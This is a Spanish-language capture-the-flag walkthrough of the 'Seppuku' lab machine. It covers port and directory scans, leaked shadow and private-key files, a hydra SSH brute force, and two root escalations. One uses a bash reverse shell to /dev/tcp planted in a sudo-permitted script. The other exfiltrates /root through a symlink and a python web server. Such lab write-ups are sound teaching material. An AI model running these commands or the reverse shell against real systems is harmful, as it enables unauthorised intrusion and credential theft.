Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-14 03:18 EDT
Nmap scan report for 192.168.195.137
Host is up (0.00060s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 cd:55:a8:e4:0f:28:bc:b2:a6:7d:41:76:bb:9f:71:f4 (RSA)
|   256 16:fa:29:e4:e0:8a:2e:7d:37:d2:6f:42:b2:dc:e9:22 (ECDSA)
|_  256 bb:74:e8:97:fa:30:8d:da:f9:5c:99:f0:d9:24:8a:d5 (ED25519)
80/tcp   open  http        nginx 1.14.2
|_http-title: 401 Authorization Required
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Restricted Content
|_http-server-header: nginx/1.14.2
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
7080/tcp open  ssl/http    LiteSpeed httpd
| ssl-cert: Subject:
commonName=seppuku/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/country
Name=US
| Not valid before: 2020-05-13T06:51:35
|_Not valid after:  2022-08-11T06:51:35
|_http-server-header: LiteSpeed
|_http-title:  404 Not Found
| tls-alpn:
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
7601/tcp open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Seppuku
|_http-server-header: Apache/2.4.38 (Debian)
8088/tcp open  http        LiteSpeed httpd
|_http-title: Seppuku
|_http-server-header: LiteSpeed
MAC Address: 00:0C:29:B8:20:03 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: SEPPUKU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb2-time:
|   date: 2024-05-14T07:18:55
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SEPPUKU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: seppuku
|   NetBIOS computer name: SEPPUKU\x00
|   Domain name: \x00
|   FQDN: seppuku
|_  System time: 2024-05-14T03:18:55-04:00

TRACEROUTE
HOP RTT     ADDRESS
1   0.60 ms 192.168.195.137

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.28 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST>
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.137:7601/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 282]
/.htaccess            (Status: 403) [Size: 282]
/a                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/a/]
/b                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/b/]
/c                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/c/]
```

```
/ckeditor             (Status: 301) [Size: 328] [-->
http://192.168.195.137:7601/ckeditor/]
/d                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/d/]
/database             (Status: 301) [Size: 328] [-->
http://192.168.195.137:7601/database/]
/e                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/e/]
/f                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/f/]
/h                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/h/]
/keys                 (Status: 301) [Size: 324] [-->
http://192.168.195.137:7601/keys/]
/production           (Status: 301) [Size: 330] [-->
http://192.168.195.137:7601/production/]
/q                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/q/]
/r                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/r/]
/secret               (Status: 301) [Size: 326] [-->
http://192.168.195.137:7601/secret/]
/server-status        (Status: 403) [Size: 282]
/stg                  (Status: 301) [Size: 323] [-->
http://192.168.195.137:7601/stg/]
/t                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/t/]
/w                    (Status: 301) [Size: 321] [--> http://192.168.195.137:7601/w/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Si nos vamos a `/secret/` veremos varios archivos...

```
hostname     2020-05-13 03:41    8
jack.jpg     2018-09-12 03:49    58K
passwd.bak   2020-05-13 03:47    2.7K
password.lst 2020-05-13 03:59    672
shadow.bak   2020-05-13 03:48    1.4K

hostname = seppuku

passwd.bak =

123456
12345
password
password1
123456789
12345678
1234567890
abc123
computer
tigger
1234
qwerty
money
carmen
mickey
secret
summer
internet
```

```
a1b2c3
123
service
canada
hello
ranger
shadow
baseball
donald
harley
hockey
letmein
maggie
mike
mustang
snoopy
buster
dragon
jordan
michael
michelle
mindy
patrick
123abc
andrew
bear
calvin
changeme
diamond
withme
withyou
matthew
miller
tiger
trustno1
alex
apple
avalon
brandy
chelsea
coffee
falcon
freedom
gandalf
green
helpme
linda
magic
merlin
newyork
soccer
thomas
wizard
asdfgh
bandit
```

```
batman
boris
butthead
dorothy
eeyoree
fishing
Football
george
happy
iloveyou
jennifer
jonathan
love
marina
master
missy
monday
monkey
natasha

shadow.bak =

root:!:18327:0:99999:7:::
daemon:*:17937:0:99999:7:::
bin:*:17937:0:99999:7:::
sys:*:17937:0:99999:7:::
sync:*:17937:0:99999:7:::
games:*:17937:0:99999:7:::
man:*:17937:0:99999:7:::
lp:*:17937:0:99999:7:::
mail:*:17937:0:99999:7:::
news:*:17937:0:99999:7:::
uucp:*:17937:0:99999:7:::
proxy:*:17937:0:99999:7:::
www-data:*:17937:0:99999:7:::
backup:*:17937:0:99999:7:::
list:*:17937:0:99999:7:::
irc:*:17937:0:99999:7:::
gnats:*:17937:0:99999:7:::
nobody:*:17937:0:99999:7:::
systemd-network:*:17937:0:99999:7:::
systemd-resolve:*:17937:0:99999:7:::
syslog:*:17937:0:99999:7:::
messagebus:*:17937:0:99999:7:::
_apt:*:17937:0:99999:7:::
uuidd:*:17937:0:99999:7:::
avahi-autoipd:*:17937:0:99999:7:::
usbmux:*:17937:0:99999:7:::
dnsmasq:*:17937:0:99999:7:::
rtkit:*:17937:0:99999:7:::
lightdm:*:17937:0:99999:7:::
cups-pk-helper:*:17937:0:99999:7:::
speech-dispatcher:!:17937:0:99999:7:::
whoopsie:*:17937:0:99999:7:::
kernoops:*:17937:0:99999:7:::
```

```
saned:*:17937:0:99999:7:::
pulse:*:17937:0:99999:7:::
avahi:*:17937:0:99999:7:::
colord:*:17937:0:99999:7:::
hplip:*:17937:0:99999:7:::
debian-tor:*:18053:0:99999:7:::
iodine:*:18053:0:99999:7:::
thpot:!:18053:0:99999:7:::
postfix:*:18053:0:99999:7:::
nm-openvpn:*:18053:0:99999:7:::
statd:*:18053:0:99999:7:::
sshd:*:18053:0:99999:7:::
nm-openconnect:*:18053:0:99999:7:::
r@bbit-
hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKB
LBahX29Y3DWkR6oT..:18395:0:99999:7:::
```

Si nos vamos a `/keys/` nos encontraremos un id_rsa...

```
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAypJlwjKXf0F4YvL2gfwvoUuvB7fuGMMfCe41gLCsTsleOUy2
CJX+oNwVVKPpl6TYI4nXPGbiwfGzoxm0FZa7D9yr83OgwuvMMp83OkVcwL9v+x7a
tK8AAVZ0NjvOPGkvEhB2rPS2mKg1xRKXCM7pA0KSOoDbk9coOpadjg4G0f1YPWrw
p6iLfIErfY2+5hS7QyTQpuRmHuR4eKLF1NFRp8gYuNCVtr0n2Uu6hWuI7RWBGQZJ
Joj8LKjfRRYmKGpyqiGTdRy+8yCyAuT55shuCzXuc+/3HE2jACOD8+pSPKjwxzm4
fuaSfBTUkHfyhiSKIkop2YfIDLKRPM8dGn5zuQIDAQABAoIBADM+s7Vb3Q1ZP54w
foHFjTsNjVqzge0Lt1doxmomx4Aq2sY+DLLBVyfUZSUDTj2JexAKd8OU93o+rcXt
46uudOX/WhR9RMbqpb6MnokEMQGlrCtn08Xvm127RCzQFk0cAsdcGNmKEoMt0mRn
XoPg6/tiJOHd5S5SOKARqAveqoUGUYI3xgsiRpj8CCRIDUgHi9J0++qUeauVw3m3
lvyTnUTw0uf5+sRkI173CUY+ygJapGM7Lg59xzcjEq5H4so0IztQo3o/pOIfeS6W
bqIpY7D63YBGLgpi9JcN/d2bSfafkfhcrAcjPjRXwEFPmYjMbsTBOKcTtCSDVo6/
ho6fTl0CgYEA9F1uIkqxFKIMt2/uK4/1gPOXy/1cjxcsFoah0Ql7d0gj26H6AgXk
nPncIoO1kojPnB+TUy4qz+Bd7teDbkHSaWNJYIVJZQbvskstwgL4+XamiWrJA/Jp
h7y0I0zRxCMBj5yhBNrp6P+f8vtVMpjbKV17jfe6aakfyuayPugHHh8CgYEA1DeM
4lR/+/fUbxtws+aTx8h9TwisYq38D39KNsWkynnb+9pnLCbVbVETtv4sfD/aQfah
R7CxOG+mD4Vryjpk/wwzZeUDzcQpiTx4RsgP6MkFU8knORKfBdimaUpiasWlNWgy
caXR/iA6EmA4jht8vf/+UOUV8GXV9VqDIWUhgycCgYEAvJaGcqyWMUhG7CLT+oal
f5l/Iw0rq7rEabYJmBvrT0k7czt0iK8nmgYy3+gp7ybqoqCzwFQ28itEExn78tGV
o4Pek0EKPY+22TCv5bUJlOz+5bql3AfvbbQyibO1h9tETyMgGXEhaJIvTQSu4deZ
/DiLLCttkDHXuW2FTosfQx0CgYEAkhGOSjapRRBHSxaTE3Cw5UFNZvnsVZu1tCEE
PwD5NVh9HzQr8YrlOnIk5L68deUpYF/WkNbAlLzcizBlifN5kseeFRN188qCYHCb
xPRtZuf+X7ZD5he4FzkRCcXmSeGynjkTB4CAMq+R6RYLt1yaFtk9/gZAfJBLna5o
NbM7Rt8CgYA5oPRfIpKZ5G9LJEAsBUONgBsrpXs+816ZEvBGsqPs/NPhhZMFetKm
RXxYAiEUudMsahP4Woeuxy8kWfM2J2ltwC/HRFuKnKfsHBhsn/FilspYfrafr985
tFnL/K9Z8le1saEGjwCu6zKto7CaFjj2D4Y9ji0sHGBO+tVbtmU/Jg==
-----END RSA PRIVATE KEY-----
```

Pero de todo esto nos centraremos en el nombre de usuario que sabemos que es el hostname `seppuku` y con el diccionario de palabras que encontramos tiramos un hydra...

```
hydra -l seppuku -P <WORDLIST> ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
```

```
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-14 03:48:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 92 login tries (l:1/p:92), ~2
tries per task
[DATA] attacking ssh://192.168.195.137:22/
[22][ssh] host: 192.168.195.137   login: seppuku   password: eeyoree
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until
end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-14 03:48:52

Credentials:

User = seppuku

Password = eeyoree
```

Y con esto entrariamos por ssh..

```
ssh seppuku@<IP>
```

Si haces `sudo -l` veras lo siguiente...

```
Matching Defaults entries for seppuku on seppuku:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User seppuku may run the following commands on seppuku:
    (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
```

Yo en mi caso al ver eso hice lo siguiente, lo cual mas adelante no me sirve de mucho pero si para escalar de otras formas...

```
sudo ln -sf /root/ /tmp/
```

Con eso creas un enlace directo a la carpeta entera de `root`

Despues si en la misma `home` leemos un archivo llamado `.passwd` pondria lo siguiente...

```
12345685213456!@!@A
```

Esa es una contraseña del usuario `samurai` y para entrar al usuario `tanto` se tiene que utilizar la `id_rsa` que encontramos anteriormente...

> Tanto

```
chmod 600 id_rsa

ssh -i id_rsa tanto@<IP>
```

Y ya estariamos dentro de `tanto` dentro de este usuario crearemos las siguientes carpetas y archivos para luego ejecutarlos con `samurai`...

```
mkdir .cgi_bin
```

Dentro de la misma...

```
nano bin

#Dentro de nano
#!/bin/bash

sh -i >& /dev/tcp/<IP>/<PORT> 0>&1
```

Y ahora llendonos al usuario samurai en `/tmp/` creamos un archivo sin funcionalidad...

```
nano script.sh

#Dentro de nano
#!/bin/bash

echo 'HOLA'
```

Por que si hacemos `sudo -l` en ese usuario veremos los siguiente...

```
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```

Por lo que hacemos lo siguiente teniendo todo esto...

```
sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

nc -lvnp <PORT>
```

Y con esto ya seriamos `root`, leemos la flag...

root.txt (flag_final)

```
{SunCSR_Seppuku_2020_X}
```

```
==========================================================
```

2º forma escala de privilegios

En el usuario `sepuku` teniendo los permisos de `sudo -l`...

```
Matching Defaults entries for seppuku on seppuku:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User seppuku may run the following commands on seppuku:
    (ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
```

Por lo que haremos lo siguiente...

```
sudo ln -sf /root/ /tmp/
```

En el usuario `samurai` si le hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```

Creamos un archivo "inutil" en `/tmp` que luego veremos por que... `(OPCIONAL)`

```
nano script.sh

#Dentro de nano
#!/bin/bash

echo 'HOLA'
```

Si nos vamos al usuario `tanto` tendremos que crear la ruta del `sudo -l` de 'samurai'...

```
mkdir .cgi_bin

#Dentro de .cgi_bin/
nano bin

#Dentro de nano
#!/bin/bash

tar -czhvf /home/tanto/.cgi_bin/root.tar.gz -C /tmp root

python3 -m http.server
```

Lo que hacemos es comrpimir el contenido del enlace simbolico (/root/) y llevarlo a la carpeta de `/.cgi_bin/` y en el usuario `samurai` tendremos que ir tambien a `/.cgi_bin/` para que cuando se comprima esa carpeta automaticamente se abra un servidor de `python` y te lo puedas pasar a tu `host`...

Cuando haya hecho ese `bin` en el usuario `samurai` ejecutamos lo siguiente...

```
sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```

Y se te abrira el servidor de `python`, desde tu `host` hacemos lo siguiente...

```
wget http://<IP>:8000/root.tar.gz
```

Lo descomprimimos...

```
tar -xzvf root.tar.gz
```

Y dentro de la carpeta `root` nos vamos al `.ssh`...

```
chmod 600 id_rsa

ssh -i id_rsa root@<IP>
```

Ya seriamos root con una shell en ssh y podriamos leer la flag.